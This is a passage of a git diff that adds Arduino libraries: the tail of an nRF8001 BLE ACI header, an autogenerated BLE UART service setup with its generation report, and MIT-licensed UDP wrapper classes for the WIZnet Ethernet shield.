successfully through the ACI. False otherwise. +*/ +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length); +//@} + +/** @name ACI commands available while connected in Bond mode */ +//@{ + +/** @brief Sends a SMP Security Request. + * @details This function send a @c BondRequest command to the radio. + * This command triggers a SMP Security Request to the master. If the + * master rejects with a pairing failed or if the bond timer expires the connection is closed. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond_request(void); + +/** @brief Set the key requested by the 8001. + * @details This function sends an @c SetKey command to the radio. + * @param key_rsp_type Type of key. + * @param key Pointer to the key to set. + * @param len Length of the key. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len); + +//@} + + + +/** @name ACI commands available in Test mode */ +//@{ + +/** @brief Sends an echo message + * @details This function sends an @c Echo command to the radio. lib_aci + * places the Echp ACI command in the ACI command queue + * @param message_size Length of the data to send. + * @param message_data Pointer to the data to send. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_echo_msg(uint8_t message_size, uint8_t *message_data); + +/** @brief Sends an DTM command + * @details This function sends an @c DTM command to the radio. + * @param dtm_command_msbyte Most significant byte of the DTM command. + * @param dtm_command_lsbyte Least significant byte of the DTM command. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte); + +/** @brief Gets an ACI event from the ACI Event Queue + * @details This function gets an ACI event from the ACI event queue. + * The queue is updated by the SPI driver for the ACI running in the interrupt context + * @param aci_stat pointer to the state of the ACI. + * @param p_aci_data pointer to the ACI Event. The ACI Event received will be copied into this pointer. + * @return True if an ACI Event was copied to the pointer. +*/ +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t * aci_evt); + +/** @brief Flushes the events in the ACI command queues and ACI Event queue + * +*/ +void lib_aci_flush(void); + +//@} + +/** @} */ + +#endif /* LIB_ACI_H__ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml new file mode 100755 index 0000000..765cbcd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml @@ -0,0 +1,142 @@ + + + + 0 + nRF8001_Dx + + UART over BTLE + 0001 + + UART RX + 0002 + + 0 + + 20 + 2 + false + + true + false + false + false + false + + false + false + + 0 + + + + UART TX + 0003 + + 0 + + 20 + 2 + false + + false + false + true + false + false + + false + false + + 0 + + + + + Device Information + 180a + + Hardware Revision String + 2a27 + 0A + 0 + + 9 + 2 + false + + false + false + false + false + false + + true + false + + 0 + + + + + UART + 7 + true + 0 + 0000 + 0 + 0 + 0 + 600 + 0 + 7 + 16 + 1a + 1a + 10 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 6 + 18 + 0 + 10 + + 0001 + + + + 19 + 0000 + + + 18 + + + + + + 1 + 1 + 3 + 0 + 0 + 0 + 0 + false + + + 220 + 10 + 1000 + 10 + 10 + 1280 + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h new file mode 100755 index 0000000..3b088fc --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h @@ -0,0 +1,164 @@ +/* Copyright (c) 2012 Nordic Semiconductor. All Rights Reserved. +* +* The information contained herein is property of Nordic Semiconductor ASA. +* Terms and conditions of usage are described in detail in NORDIC +* SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. +* +* Licensees are granted free, non-transferable use of the information. NO +* WARRANTY of ANY KIND is provided. This heading must NOT be removed from +* the file. +*/ + +/** +* This file is autogenerated by nRFgo Studio 1.14.1.2369 +*/ + +#ifndef SETUP_MESSAGES_H__ +#define SETUP_MESSAGES_H__ + +#include "hal_platform.h" +#include "aci.h" +#define PIPE_GAP_DEVICE_NAME_SET 1 +#define PIPE_UART_OVER_BTLE_UART_RX_RX 2 +#define PIPE_UART_OVER_BTLE_UART_TX_TX 3 +#define PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET 4 + +#define NUMBER_OF_PIPES 4 + +#define SERVICES_PIPE_TYPE_MAPPING_CONTENT {\ + {ACI_STORE_LOCAL, ACI_SET}, \ + {ACI_STORE_LOCAL, ACI_RX}, \ + {ACI_STORE_LOCAL, ACI_TX}, \ + {ACI_STORE_LOCAL, ACI_SET}, \ +} + +#define GAP_PPCP_MAX_CONN_INT 0x12 /**< Maximum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific value requested */ +#define GAP_PPCP_MIN_CONN_INT 0x6 /**< Minimum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific maximum*/ +#define GAP_PPCP_SLAVE_LATENCY 0 +#define GAP_PPCP_CONN_TIMEOUT 0xa /** Connection Supervision timeout multiplier as a multiple of 10msec, 0xFFFF means no specific value requested */ + +#define NB_SETUP_MESSAGES 21 +#define SETUP_MESSAGES_CONTENT {\ + {0x00,\ + {\ + 0x07,0x06,0x00,0x00,0x03,0x02,0x41,0xd7,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x04,0x01,0x01,0x00,0x00,0x06,0x00,0x00,\ + 0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x1c,0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x14,0x03,0x90,0x01,0x64,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x38,0x02,0xff,0x02,0x58,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x05,0x06,0x10,0x54,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x00,0x04,0x04,0x02,0x02,0x00,0x01,0x28,0x00,0x01,0x00,0x18,0x04,0x04,0x05,0x05,0x00,\ + 0x02,0x28,0x03,0x01,0x0e,0x03,0x00,0x00,0x2a,0x04,0x14,0x07,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x1c,0x04,0x00,0x03,0x2a,0x00,0x01,0x55,0x41,0x52,0x54,0x69,0x63,0x73,0x04,0x04,0x05,\ + 0x05,0x00,0x04,0x28,0x03,0x01,0x02,0x05,0x00,0x01,0x2a,0x06,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x38,0x04,0x03,0x02,0x00,0x05,0x2a,0x01,0x01,0x00,0x00,0x04,0x04,0x05,0x05,0x00,0x06,\ + 0x28,0x03,0x01,0x02,0x07,0x00,0x04,0x2a,0x06,0x04,0x09,0x08,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x54,0x00,0x07,0x2a,0x04,0x01,0x06,0x00,0x12,0x00,0x00,0x00,0x0a,0x00,0x04,0x04,0x02,\ + 0x02,0x00,0x08,0x28,0x00,0x01,0x01,0x18,0x04,0x04,0x10,0x10,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x70,0x00,0x09,0x28,0x00,0x01,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x01,0x00,0x40,0x6e,0x04,0x04,0x13,0x13,0x00,0x0a,0x28,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x8c,0x03,0x01,0x04,0x0b,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x02,0x00,0x40,0x6e,0x44,0x10,0x14,0x00,0x00,0x0b,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xa8,0x02,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x13,0x13,0x00,0x0c,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xc4,0x28,0x03,0x01,0x10,0x0d,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,\ + 0xa3,0xb5,0x03,0x00,0x40,0x6e,0x14,0x00,0x14,0x00,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xe0,0x00,0x03,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x14,0x03,0x02,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xfc,0x0e,0x29,0x02,0x01,0x00,0x00,0x04,0x04,0x02,0x02,0x00,0x0f,0x28,0x00,0x01,0x0a,\ + 0x18,0x04,0x04,0x05,0x05,0x00,0x10,0x28,0x03,0x01,0x02,0x11,\ + },\ + },\ + {0x00,\ + {\ + 0x19,0x06,0x21,0x18,0x00,0x27,0x2a,0x04,0x04,0x09,0x01,0x00,0x11,0x2a,0x27,0x01,0x0a,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x40,0x00,0x2a,0x00,0x01,0x00,0x80,0x04,0x00,0x03,0x00,0x00,0x00,0x02,0x02,0x00,0x08,0x04,\ + 0x00,0x0b,0x00,0x00,0x00,0x03,0x02,0x00,0x02,0x04,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x40,0x1c,0x00,0x0e,0x2a,0x27,0x01,0x00,0x80,0x04,0x00,0x11,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x13,0x06,0x50,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,0xb5,0x00,0x00,0x40,0x6e,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x06,0x06,0xf0,0x00,0x03,0xd3,0x88,\ + },\ + },\ +} + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt new file mode 100755 index 0000000..30f4ff2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt @@ -0,0 +1,117 @@ +------------------------------------------------------------------------------ + uBlue Setup generation report + Generated with uBlue setup DLL version: 1.0.0.16855 + Generated: Sat Jan 12 11:40:44 2013 (UTC) + This file is automatically generated, do not modify +------------------------------------------------------------------------------ + +[Counts] + +Setup data size = 547 bytes +Local database size = 302 bytes +Local attribute count = 4 +Remote attribute count = 0 +Total pipe count = 4 +Dynamic data size = 181 bytes (worst case) + +[Setup Area Layout] + +Setup area, total = 1595 bytes +Setup area, used = 370 bytes ( 23% of total ) +Local services = 302 bytes ( 81% of used ) +Remote services = 0 bytes ( 0% of used ) +Pipes = 40 bytes ( 10% of used ) +VS UUID area = 16 bytes ( 4% of used ) +Extended Attr area = 12 bytes ( 3% of used ) + +[Device Settings] + +Setup ID = 0x00000000 +Setup Format = 0x03 +Security = OPEN (0) +Bond Timeout = 600 +Security Request Delay = 0 +Change Timing Delay = 5 +Whitelist = Enabled + +[Advertisement Data] + +Bond Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +Bond Scan Resp = 0x00000000 [] +General Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +General Scan Resp = 0x00000000 [] +Broadcast Advertise = 0x00000010 [LOCAL_NAME_COMPLETE] +Broadcast Scan Resp = 0x00000000 [] + +Custom Bond Advertise = 0x00 [] +Custom Bond Scan Resp = 0x00 [] +Custom General Advertise = 0x00 [] +Custom General Scan Resp = 0x00 [] +Custom Broadcast Advertise = 0x00 [] +Custom Broadcast Scan Resp = 0x00 [] + +No custom AD types + +[Vendor Specific UUIDs] + +VS UUID #0 (type=0x02): 0x9E 0xCA 0xDC 0x24 0x0E 0xE5 0xA9 0xE0 0x93 0xF3 0xA3 0xB5 0x00 0x00 0x40 0x6E + +[Local Database] + +Handle Pipes Structure +------ ----- --------- +0x0001 +----- Service (Primary): "GAP" (01:0x1800) +0x0002 |----- |Characteristic: "Device Name" (01:0x2A00) [rd|wwr|wr] [rd:allow|wr:none] +0x0003 x |Value: {0x55 0x41 0x52 0x54} [rd:allow|wr:allow] +0x0004 |----- |Characteristic: "Appearance" (01:0x2A01) [rd] [rd:allow|wr:none] +0x0005 |Value: {0x00 0x00} [rd:allow|wr:none] +0x0006 |----- |Characteristic: "PPCP" (01:0x2A04) [rd] [rd:allow|wr:none] +0x0007 |Value: {0x06 0x00 0x12 0x00 0x00 0x00 0x0A 0x00} [rd:allow|wr:none] +0x0008 +----- Service (Primary): "GATT" (01:0x1801) +0x0009 +----- Service (Primary): "?" (02:0x0001) +0x000A |----- |Characteristic: "?" (02:0x0002) [wwr] [rd:allow|wr:none] +0x000B < |Value: {} [rd:none|wr:allow] +0x000C |----- |Characteristic: "?" (02:0x0003) [not] [rd:allow|wr:none] +0x000D > |Value: {} [rd:none|wr:none] +0x000E |----- |Descriptor: "Client Characteristic Configuration" (01:0x2902) Value: {0x00 0x00} [rd:allow|wr:allow] +0x000F +----- Service (Primary): "Device Info" (01:0x180A) +0x0010 |----- |Characteristic: "HW Rev" (01:0x2A27) [rd] [rd:allow|wr:none] +0x0011 x |Value: {0x0A} [rd:allow|wr:none] + +[Remote Database] + +Handle Pipes Structure +------ ----- --------- + +[Pipe Map] + +Pipe Store Type Service Char. CPF Desc. +---- ------ ------ ---------- --------- ----------- --------- +01 Local SET 01:0x1800 01:0x2A00 -- -- +02 Local RX 02:0x0001 02:0x0002 -- -- +03 Local TX 02:0x0001 02:0x0003 -- -- +04 Local SET 01:0x180A 01:0x2A27 -- -- + +[Setup Data] + +07-06-00-00-03-02-41-D7 +1F-06-10-00-00-00-00-00-00-00-04-00-04-01-01-00-00-06-00-00-90-00-00-00-00-00-00-00-00-00-00-00 +1F-06-10-1C-01-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-14-00-00-00-14-03-90-01-64 +1F-06-10-38-02-FF-02-58-00-05-00-00-00-00-00-00-00-00-00-00-00-10-00-00-00-00-00-00-00-00-00-00 +05-06-10-54-00-00 +1F-06-20-00-04-04-02-02-00-01-28-00-01-00-18-04-04-05-05-00-02-28-03-01-0E-03-00-00-2A-04-14-07 +1F-06-20-1C-04-00-03-2A-00-01-55-41-52-54-69-63-73-04-04-05-05-00-04-28-03-01-02-05-00-01-2A-06 +1F-06-20-38-04-03-02-00-05-2A-01-01-00-00-04-04-05-05-00-06-28-03-01-02-07-00-04-2A-06-04-09-08 +1F-06-20-54-00-07-2A-04-01-06-00-12-00-00-00-0A-00-04-04-02-02-00-08-28-00-01-01-18-04-04-10-10 +1F-06-20-70-00-09-28-00-01-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-01-00-40-6E-04-04-13-13-00-0A-28 +1F-06-20-8C-03-01-04-0B-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-02-00-40-6E-44-10-14-00-00-0B-00 +1F-06-20-A8-02-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-04-04-13-13-00-0C +1F-06-20-C4-28-03-01-10-0D-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-03-00-40-6E-14-00-14-00-00-0D +1F-06-20-E0-00-03-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-46-14-03-02-00 +1F-06-20-FC-0E-29-02-01-00-00-04-04-02-02-00-0F-28-00-01-0A-18-04-04-05-05-00-10-28-03-01-02-11 +19-06-21-18-00-27-2A-04-04-09-01-00-11-2A-27-01-0A-00-00-00-00-00-00-00-00-00 +1F-06-40-00-2A-00-01-00-80-04-00-03-00-00-00-02-02-00-08-04-00-0B-00-00-00-03-02-00-02-04-00-0D +0F-06-40-1C-00-0E-2A-27-01-00-80-04-00-11-00-00 +13-06-50-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-00-00-40-6E +0F-06-60-00-00-00-00-00-00-00-00-00-00-00-00-00 +06-06-F0-00-83-42-00 diff --git a/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt new file mode 100755 index 0000000..c9ebc48 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt @@ -0,0 +1,7 @@ +These files augment the Ethernet library as distributed with Arduino0012, which in turn appears to include +application sample code from WIZnet. Eventually, we'll have to modify the underlying socket code of that library to fix buffer overflow risks and to better conserve precious Arduino RAM. + +For more information, look at: +http://code.rancidbacon.com/LearningAboutArduinoWIZ810MJ +http://trac.mlalonde.net/cral/browser/branches/follower/wiz810mj +12/31/08 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp new file mode 100755 index 0000000..c0a2e6b --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp @@ -0,0 +1,156 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * TODO: should protect buffer access with critical sections + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpBytewise.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpBytewiseClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + _txIndex =0; + _rxIndex =0; + _rxSize = 0; + _txOverflowStrategy = UDP_TX_OVERFLOW_SPLIT; + socket(_sock,Sn_MR_UDP,_port,0); +} + + +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. */ +int UdpBytewiseClass::available() { + if(_rxSize==0 || _rxSize-_rxIndex==0) { + //if local buffer is empty or depleted + //check wiz5100 buffer for new packet + _rxSize = getSn_RX_RSR(_sock); //note: return value is inflated by 8 byte header + if(_rxSize){ + //if we have a new packet there + //reset buffer index + _rxIndex=0; + //copy packet into our local buffer + _rxSize = recvfrom(_sock,_rxBuffer,_rxSize-8,_rxIp,&_rxPort); + } else { + //else do nothing and rxsize is still 0 + ; + } + return _rxSize; //return the new number of bytes in our buffer + } else{ + //if buffer is not empty, return remaining # of bytes + return (_rxSize-_rxIndex); + } +} + + +/* Start a new packet with given target ip and port + * returns 1 on success, 0 if we already started a packet */ +int UdpBytewiseClass::beginPacket(uint8_t *ip, unsigned int port) { + if(_txIndex==0) { + //ok to start new packet - copy ip and port + _txIp[0]=ip[0]; + _txIp[1]=ip[1]; + _txIp[2]=ip[2]; + _txIp[3]=ip[3]; + _txPort = port; + return 1; + } + else { + //we already started a packet and have data in it + return 0; + } +} + + +/* Add a byte to the currently assembled packet if there is space + * if there isn't space, either truncate (ignore) or split the packet. + */ +void UdpBytewiseClass::write(uint8_t b) { + if(_txIndex>= UDP_TX_PACKET_MAX_SIZE) { + //buffer is full - we can either truncate the packet or split in two + switch (_txOverflowStrategy) { + case UDP_TX_OVERFLOW_SPLIT: + endPacket(); + beginPacket(_txIp,_txPort); + //fall through to normal add of byte to buffer below + break; + case UDP_TX_OVERFLOW_TRUNCATE: + default: + //don't add - just ignore bytes past buffer size + return; + } + } + _txBuffer[_txIndex++] = b; +} + +/* send an assembled packet out + * returns # of bytes sent on success, 0 if there's nothing to send */ +int UdpBytewiseClass::endPacket() { + // send the packet + uint16_t result = sendto(_sock,(const uint8_t *)_txBuffer,_txIndex,_txIp,_txPort); + // reset buffer index + _txIndex=0; + // return sent bytes + return (int)result; +} + +/* read the next byte of the last rececived packet */ +int UdpBytewiseClass::read() { + if(_rxIndex < _rxSize) { + // if there is something to be read, return the next byte + return _rxBuffer[_rxIndex++]; + } else { + //we already sent the last byte - nothing to do + return -1; + } +} + +void UdpBytewiseClass::getSenderIp(uint8_t*ip) { + ip[0]=_rxIp[0]; + ip[1]=_rxIp[1]; + ip[2]=_rxIp[2]; + ip[3]=_rxIp[3]; +} + +unsigned int UdpBytewiseClass::getSenderPort() { + return _rxPort; +} + +/* what should we do when we try to add to a full outgoing packet? + * UDP_TX_OVERFLOW_TRUNCATE - throw overflow bytes away + * UDP_TX_OVERFLOW_SPLIT - split into multiple packets + */ +void UdpBytewiseClass::setOverflowStrategy(uint8_t strategy) { + _txOverflowStrategy = strategy; +} + +/* Create one global object */ +UdpBytewiseClass UdpBytewise; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h new file mode 100755 index 0000000..0f3b400 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h @@ -0,0 +1,81 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpBytewise_h +#define UdpBytewise_h + +#include "Print.h" + +#define UDP_TX_PACKET_MAX_SIZE 32 +#define UDP_RX_PACKET_MAX_SIZE 32 + +#define UDP_TX_OVERFLOW_TRUNCATE 0 +#define UDP_TX_OVERFLOW_SPLIT 1 + +class UdpBytewiseClass: public Print { +private: + uint8_t _sock; // socket ID for Wiz5100 + uint16_t _port; // local port to listen on + + uint8_t _txBuffer[UDP_TX_PACKET_MAX_SIZE]; + uint8_t _txIndex; + uint8_t _txIp[4]; + uint16_t _txPort; + uint8_t _txOverflowStrategy; + + uint8_t _rxBuffer[UDP_RX_PACKET_MAX_SIZE]; + uint8_t _rxIndex; + int _rxSize; + uint8_t _rxIp[4]; + uint16_t _rxPort; + +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // Single byte-oriented functions: + int beginPacket(uint8_t *ip, unsigned int port); // returns 1 on success, 0 if we already started a packet + virtual void write(uint8_t); // add a byte to the currently assembled packet (if there's space) + int endPacket(); // returns # of bytes sent on success, 0 if there's nothing to send + + int read(); //read a byte if available - returns -1 if no data available + + void getSenderIp(uint8_t * ip); //get remote IP of the packet we're currently reading from + unsigned int getSenderPort(); //get remote port# of the packet we're currently reading from + void setOverflowStrategy(uint8_t); // what to do when our packet is full and we try to add more? +}; + +extern UdpBytewiseClass UdpBytewise; +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp new file mode 100755 index 0000000..43b1878 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp @@ -0,0 +1,133 @@ +/* + * UdpRaw.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * This version only offers minimal wrapping of socket.c/socket.h + * Drop UdpRaw.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpRaw.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpRawClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + socket(_sock,Sn_MR_UDP,_port,0); +} + +/* Send packet contained in buf of length len to peer at specified ip, and port */ +/* Use this function to transmit binary data that might contain 0x00 bytes*/ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(uint8_t * buf, uint16_t len, uint8_t * ip, uint16_t port){ + return sendto(_sock,(const uint8_t *)buf,len,ip,port); +} + +/* Send zero-terminated string str as packet to peer at specified ip, and port */ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(const char str[], uint8_t * ip, uint16_t port){ + // compute strlen + const char *s; + for(s = str; *s; ++s); + uint16_t len = (s-str); + // send packet + return sendto(_sock,(const uint8_t *)str,len,ip,port); +} +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. + * returned value includes 8 byte UDP header!*/ +int UdpRawClass::available() { + return getSn_RX_RSR(_sock); +} + + +/* Read a received packet into buffer buf (which is of maximum length len); */ +/* store calling ip and port as well. Call available() to make sure data is ready first. */ +/* NOTE: I don't believe len is ever checked in implementation of recvfrom(),*/ +/* so it's easy to overflow buffer. so we check and truncate. */ +/* returns number of bytes read, or negative number of bytes we would have needed if we truncated */ +int UdpRawClass::readPacket(uint8_t * buf, uint16_t bufLen, uint8_t *ip, uint16_t *port) { + int packetLen = available()-8; //skip UDP header; + if(packetLen < 0 ) return 0; // no real data here + if(packetLen > (int)bufLen) { + //packet is too large - truncate + //HACK - hand-parse the UDP packet using TCP recv method + uint8_t tmpBuf[8]; + int i; + //read 8 header bytes and get IP and port from it + recv(_sock,tmpBuf,8); + ip[0] = tmpBuf[0]; + ip[1] = tmpBuf[1]; + ip[2] = tmpBuf[2]; + ip[3] = tmpBuf[3]; + *port = tmpBuf[4]; + *port = (*port << 8) + tmpBuf[5]; + + //now copy first (bufLen) bytes into buf + for(i=0;i<(int)bufLen;i++) { + 